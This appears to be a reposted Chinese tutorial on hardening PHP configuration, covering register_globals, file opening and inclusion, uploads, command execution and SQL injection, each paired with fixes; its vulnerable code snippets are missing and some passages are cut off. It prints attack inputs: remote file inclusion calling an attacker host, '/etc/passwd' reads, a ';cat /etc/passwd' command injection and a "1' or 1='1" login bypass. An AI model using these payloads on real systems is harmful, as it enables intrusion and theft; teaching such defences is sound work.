木翼下载系统中说明的PHP安全配置方法
|
设置某些环境变量可能是潜在的安全缺口。本指令包含有一个逗号分隔的前缀列表。在安全模式下，用户只能改变那些名字具有在这里提供的前缀的环境变量。默认情况下，用户只能设置以 PHP_ 开头的环境变量（例如 PHP_FOO = BAR）。 注: 如果本指令为空，PHP 将使用户可以修改任何环境变量！ safe_mode_protected_env_vars string 本指令包含有一个逗号分隔的环境变量的列表，最终用户不能用 putenv() 来改变这些环境变量。甚至在 safe_mode_allowed_env_vars 中设置了允许修改时也不能改变这些变量。 虽然safe_mode不是万能的（低版本的PHP可以绕过），但还是强烈建议打开安全模式，在一定程度上能够避免一些未知的攻击。不过启用safe_mode会有很多限制，可能对应用带来影响，所以还需要调整代码和配置才能和谐。被安全模式限制或屏蔽的函数可以参考PHP手册。 讨论完safe_mode后，下面结合程序代码实际可能出现的问题讨论如何通过对PHP服务器端的配置来避免出现的漏洞。 2、变量滥用 PHP默认register_globals = On，对于GET, POST, Cookie, Environment, Session的变量可以直接注册成全局变量。它们的注册顺序是variables_order = "EGPCS"（可以通过php.ini修改），同名变量variables_order右边的覆盖左边，所以变量的滥用极易造成程序的混乱。而且脚本程序员往往没有对变量初始化的习惯，像如下的程序片断就极易受到攻击： //test_1.php if ($auth == 1)
?auth=1 这虽然是一个很弱智的错误，但一些著名的程序也有犯过这种错误，比如phpnuke的远程文件拷贝漏洞： PHP-4.1.0发布的时候建议关闭register_globals，并提供了7个特殊的数组变量来使用各种变量。对于从GET、POST、COOKIE等来的变量并不会直接注册成变量，必需通过数组变量来存取。PHP-4.2.0发布的时候，php.ini默认配置就是register_globals = Off。这使得程序使用PHP自身初始化的默认值，一般为0，避免了攻击者控制判断变量。 解决方法： 配置文件php.ini设置register_globals = Off。 要求程序员对作为判断的变量在程序最开始初始化一个值。 3、文件打开 极易受攻击的代码片断： //test_2.php 由于攻击者可以指定任意的$filename，攻击者用如下的请求就可以看到/etc/passwd： ?filename=http://www.jb51.net/etc/passwd 如下请求可以读php文件本身： ?filename=test_2.php PHP中文件打开函数还有fopen(), file()等，如果对文件名变量检查不严就会造成服务器重要文件被访问读取。 解决方法： 如非特殊需要，把php的文件操作限制在web目录里面。以下是修改apache配置文件httpd.conf的一个例子：
Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx. 使用safe_mode模式也能避免这种问题，前面已经讨论过了。 4、包含文件 极易受攻击的代码片断： //test_3.php 这种不负责任的代码会造成相当大的危害，攻击者用如下请求可以得到/etc/passwd文件： ?filename=http://www.jb51.net/etc/passwd 如果对于Unix版的PHP（Win版的PHP不支持远程打开文件）攻击者可以在自己开了http或ftp服务的机器上建立一个包含shell命令的文件，如的内容是，那么如下的请求就可以在目标主机执行命令ls /etc： ?filename=http://attack/attack.txt 攻击者甚至可以通过包含apache的日志文件access.log和error.log来得到执行命令的代码，不过由于干扰信息太多，有时不易成功。 对于另外一种形式，如下代码片断： //test_4.php 攻击者可以在自己的主机建立一个包含执行命令代码的config.php文件，然后用如下请求也可以在目标主机执行命令： ?lib=http://attack PHP的包含函数有include(), include_once(), require(), require_once。如果对包含文件名变量检查不严就会对系统造成严重危险，可以远程执行命令。 解决方法： 要求程序员包含文件里的参数尽量不要使用变量，如果使用变量，就一定要严格检查要包含的文件名，绝对不能由用户任意指定。 如前面文件打开中限制PHP操作路径是一个必要的选项。另外，如非特殊需要，一定要关闭PHP的远程文件打开功能。修改php.ini文件： allow_url_fopen = Off 重启apache。 php的文件上传机制是把用户上传的文件保存在php.ini的upload_tmp_dir定义的临时目录（默认是系统的临时目录，如：/tmp）里的一个类似phpxXuoXG的随机临时文件，程序执行结束，该临时文件也被删除。PHP给上传的文件定义了四个变量：（如form变量名是file，而且register_globals打开） $file #就是保存到服务器端的临时文件（如/tmp/phpxXuoXG ） 推荐使用： $HTTP_POST_FILES['file']['tmp_name'] 这是一个最简单的文件上传代码： //test_5.php
下面的请求可以把/etc/passwd文档拷贝到web目录/usr/local/apache/htdocs/test（注意：这个目录必须nobody可写）下的attack.txt文件里： ?upload= ... ile_name=attack.txt 然后可以用如下请求读取口令文件： 攻击者可以把php文件拷贝成其它扩展名，泄漏脚本源代码。 攻击者可以自定义form里file_name变量的值，上传覆盖任意有写权限的文件。 攻击者还可以上传PHP脚本执行主机的命令。 解决方法： PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数，可以检查操作的文件是否是用户上传的文件，从而避免把系统文件拷贝到web目录。 使用$HTTP_POST_FILES数组来读取用户上传的文件变量。 严格检查上传变量。比如不允许是php脚本文件。 把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到web目录。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini里upload_tmp_dir的值。 把PHP脚本用phpencode进行加密，避免由于copy操作泄漏源码。 严格配置文件和目录的权限，只允许上传的目录能够让nobody用户可写。 对于上传目录去掉PHP解释功能，可以通过修改httpd.conf实现：
6、命令执行 下面的代码片断是从PHPNetToolpack摘出，详细的描述见： //test_6.php 由于程序没有过滤$a_query变量，所以攻击者可以用分号来追加执行命令。 攻击者输入如下请求可以执行cat /etc/passwd命令： ?a_query=www.example.com;cat /etc/passwd PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数非常危险，慎用。如果要使用一定要严格检查用户输入。 解决方法： 要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。 启用safe_mode可以杜绝很多执行命令的问题，不过要注意PHP的版本一定要是最新的，小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。 7、sql_inject 如下的SQL语句如果未对变量进行处理就会存在问题： select * from login where user='$user' and pass='$pass' 攻击者可以用户名和口令都输入1' or 1='1绕过验证。 不过幸亏PHP有一个默认的选项magic_quotes_gpc = On，该选项使得从GET, POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了： select * from login where user='1' or 从而避免了此类sql_inject攻击。 对于数字类型的字段，很多程序员会这样写： select * from test where id=$id （编辑：焦作站长网） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |
